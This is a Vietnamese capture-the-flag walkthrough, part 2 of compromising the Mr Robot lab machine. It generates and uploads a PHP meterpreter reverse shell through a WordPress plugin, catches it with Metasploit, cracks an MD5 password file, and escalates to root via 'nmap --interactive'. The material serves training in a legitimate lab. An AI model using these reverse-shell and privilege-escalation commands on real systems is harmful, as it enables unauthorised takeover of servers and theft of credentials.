CTF - Mr Robot: Part 2 (End)

Phần trước chúng ta đã truy cập vào trang quản lý của website Mr Robot bằng cách thực hiện nhiều bước tấn công khác nhau. Ngoài ra, chúng ta còn thu thập được chìa khóa đầu tiên trong 3 chìa khóa mà chúng ta cần tìm. Mình sẽ tiếp tục thực hiện tìm kiếm 2 chìa khóa còn sót lại trong máy chủ Mr Robot.




Thực hành


Bước 6: Upload Shell


Để chiếm quyền máy chủ Mr Robot, chúng ta cần phải thực hiện việc tải lên shell cho phép thực hiện các khai thác đến máy chủ. Đầu tiên, chúng ta cần cài đặt một plugin có tên là File manager (Do ở đây Elliot đã là admin nên có thể cài đặt được bất kỳ plugin nào).

File manager cho phép chúng ta quản lý thư mục và file dễ dàng hơn trên website. Trên menu bên phải trỏ vào Plugin và chọn phần Add new để tiến hành cài đặt mới plugin. Ở ô Search Plugins, gõ vào ô tìm kiếm là File manager. Nó sẽ có dạng giống như hình bên dưới đây:


hinh01-file-manager
Hình 01: File manager


Nhấn vào nút Install Now để bắt đầu cài đặt plugin. Sau khi cài đặt xong, chuyển sang phần Installed Plugins và chọn plugin WP File manager để tiến hành Active. Tải lại trang và chọn phần File manager để kiểm tra file.


Chúng ta vào thư mục wp-content/uploads để tiến hành kiểm tra nội dụng trước khi thực hiện việc tải lên shell. Trong thư mục uploads, nội dung sẽ có dạng như hình dưới:


hinh02-thu-muc-uploads
Hình 02: Thư mục uploads


Để thực hiện việc tải shell, chúng ta cần phải chuẩn bị shell trước đã. Công cụ MSFvenom là sự kết hợp giữa MsfpayloadMsfencode, được đưa vào bộ công cụ pentest rất nổi tiếng đó là Metasploit.

Do website này sử dụng nền tảng Wordpress (ngôn ngữ Php) nên mình sẽ tạo một con shell dạng php bằng câu lệnh dưới đây:


msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.226.155 LPORT=4444 -f raw > shell.php


Kiểm tra shell.php bằng câu lệnh sau:


cat shell.php


Về cơ bản, đoạn code này sẽ tiến hành tạo một kết nối dạng socket và cho phép thực hiện các quyền cao đối với máy chủ website. LHOST chứa địa chỉ IP của máy attacker và LPORT sẽ tiến hành kết nối thông qua port 4444. Đoạn code sẽ có dạng như hình dưới đây:


hinh03-noi-dung-doan-code-shell.php
Hình 03: Nội dung đoạn code shell.php


Mở giao diện quản lý website và tiến hành tải file shell.php. Sau khi upload xong, chúng ta mở Terminal và gõ msfconsole để mở công cụ Metasploit.


Bước 7: Khai thác shell bằng Metasploit


Công cụ Metasploit là một công cụ khá quen thuộc đối với các nhà bảo mật bởi vì họ hỗ trợ một lượng lớn thư viện các nền tảng và các mã lỗi khác nhau. Chúng ta sẽ tiến hành gõ một loạt các câu lệnh sau:


use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.226.155
set LPORT 4444
exploit -j -z


hinh04-su-dung-metasploit-de-khai-thac
Hình 04: Sử dụng Metasploit để khai thác


Chúng ta tiến hành chạy shell bằng đường dẫn như sau: http://192.168.226.158/wp-content/uploads/shell.php. Chúng ta đã thành công trong việc thiết lập kết nối đến máy chủ. Chúng ta gõ câu lệnh dưới đây để tiến hành tương tác với máy chủ:


sessions -i 1


hinh05-thiet-lap-tuong-tac-voi-sessions
Hình 05: Thiết lập tương tác với sessions


Tiến hành kiểm tra thông tin hệ điều hành máy chủ bằng lệnh sau:


sysinfo


hinh06-thong-tin-he-thong
Hình 06: Thông tin hệ thống


Máy chủ sử dụng hệ điều hành Linux, tức là chúng ta cần phải tìm xem trong các thư mục của hệ điều hành này thì nơi nào sẽ chứa chìa khóa cần tìm.

Đầu tiên, chúng ta cần kiểm tra được thư mục home có người dùng nào đang sử dụng. Chúng ta gõ các lệnh sau để kiểm tra:


cd /home
ls


hinh07-thu-muc-home
Hình 07: Thư mục home


Chúng ta phát hiện user đang sử dụng có tên là robot, chúng ta tiếp tục vào thư mục robot và sẽ thấy điều bất ngờ xảy ra:


hinh08-thu-muc-robot
Hình 08: Thư mục robot


Chúng ta đã tìm ra được chìa khóa thứ 2, nhưng chúng ta không có cách nào để mở được nó. Chúng ta để ý rằng có sự xuất hiện của file password.raw-md5. File mật khẩu này đã bị mã hóa bằng mã MD5, chúng ta sẽ kiểm tra file này và tiến hành giải mã nó.

Kiểm tra nội dung file bằng lệnh dưới đây:


cat password.raw-md5


hinh09-noi-dung-file-password.raw-md5
Hình 09: Nội dung file password.raw-md5


Dán đoạn mã này lên website https://www.md5online.org/ và ta sẽ được kết quả như sau:


hinh10-giai-ma-md5
Hình 10: Giải mã MD5


Chúng ta đã có mật khẩu, việc cuối cùng là đăng nhập máy chủ quyền cao nhất - root. Chúng ta gõ câu lệnh sau trong Metasploit:


shell


hinh11-cau-lenh-shell
Hình 11: Câu lệnh shell


Câu lệnh này sẽ cho phép tạo tiến trình thực thi các lệnh trong máy chủ. Nhưng có 1 vấn đề khá nan giải, đó là bạn không thể đăng nhập đơn giản chỉ với câu lệnh sudo -i do chúng ta đang thực hiện kết nối thông qua socket.

Để thực hiện việc này, chúng ta cần phải kiểm tra xem máy chủ này có sử dụng Python hay không với câu lệnh sau:


python --version


Hinh12-kiem-tra-phien-ban-python
Hình 12: Kiểm tra phiên bản Python


Khá may mắn khi máy chủ đã tích hợp sẵn Python. Việc bây giờ của chúng ta là viết một đoạn script cho phép thực hiện các câu lệnh bash thông qua các thư viện có sẵn trong Python. Đoạn script sẽ có dạng như thế này:


echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py


Câu lệnh trên thực hiện import các câu lệnh bash từ thư viện pty cho phép thực thi các lệnh trên máy chủ. Để chạy đoạn script này gõ câu lệnh như sau:


python /tmp/asdf.py


hinh13-thuc-hien-shell
Hình 13: Thực hiện shell


Bây giờ chúng ta đang ở trong trạng thái có thể thực hiện các lệnh giống như Terminal của Linux. Nếu lưu ý một tý, có thể thấy user mặc định của máy chủ này là daemon. Chúng ta cần phải đăng nhập với user là robot, có thể thực hiện các lệnh dưới đây:


su - robot


Nó yêu cầu chúng ta phải nhập mật khẩu, chúng ta hãy lấy mật khẩu mà chúng ta vừa giải mã ra được.


hinh14-dang-nhap-user-robot
Hình 14: Đăng nhập user robot


Bây giờ chúng ta có thể xem được dữ liệu của chìa khóa thứ 2 rồi, thực hiện câu lệnh này:


cat key-2-of-3.txt


hinh15-chia-khoa-thu-2
Hình 15: Chìa khóa thứ 2


Bước 8: Tìm chìa khóa cuối cùng


Chúng ta thử vào thư mục root bằng câu lệnh sau:


cd /root


hinh16-root-denied
Hình 16: Root denied


Chúng ta đành phải truy cập thư mục root thông qua công cụ Nmap. Ngoài tính năng quét mạng ra, nó còn có thể giúp chúng ta tương tác với hệ điều hành. Chúng ta sẽ thực hiện câu lệnh sau để tương tác với hệ điều hành.


nmap --interactive


hinh17-nmap-interactive
Hình 17: Nmap interactive


Đoạn code trên sẽ cho phép chúng ta leo thang đặc quyền (privilege escalation) và chiếm quyền kiểm soát hệ thống. Chúng ta sẽ kiểm tra thư mục root với các câu lệnh sau:


!sh
whoami
cd /root
ls


Chúng ta đã tìm được chìa khóa thứ ba. Chúng ta hiển thị dữ liệu chìa khóa với cách thức như trên. Dưới đây là kết quả:


hinh18-chia-khoa-thu-ba
Hình 18: Chìa khóa thứ 3


Kết luận


Vừa rồi chúng ta đã thực hiện rất nhiều thủ thuật để có thể tìm thấy 2 chìa khóa còn lại. Từ đây chúng ta rút được nhiều kinh nghiệm như sau:
  • Cần phải kiểm tra file robots.txt kỹ càng để cho phép truy cập hay không truy cập thư mục nào.
  • Giao thức http thực sự không an toàn. Cần phải nâng cấp thành chứng chỉ SSL để được mã hóa khi gửi dữ liệu lên server.
  • Cần phải đặt mật khẩu có độ dài và độ phức tạp lớn.
Next Post Previous Post
No Comment
Add Comment
comment url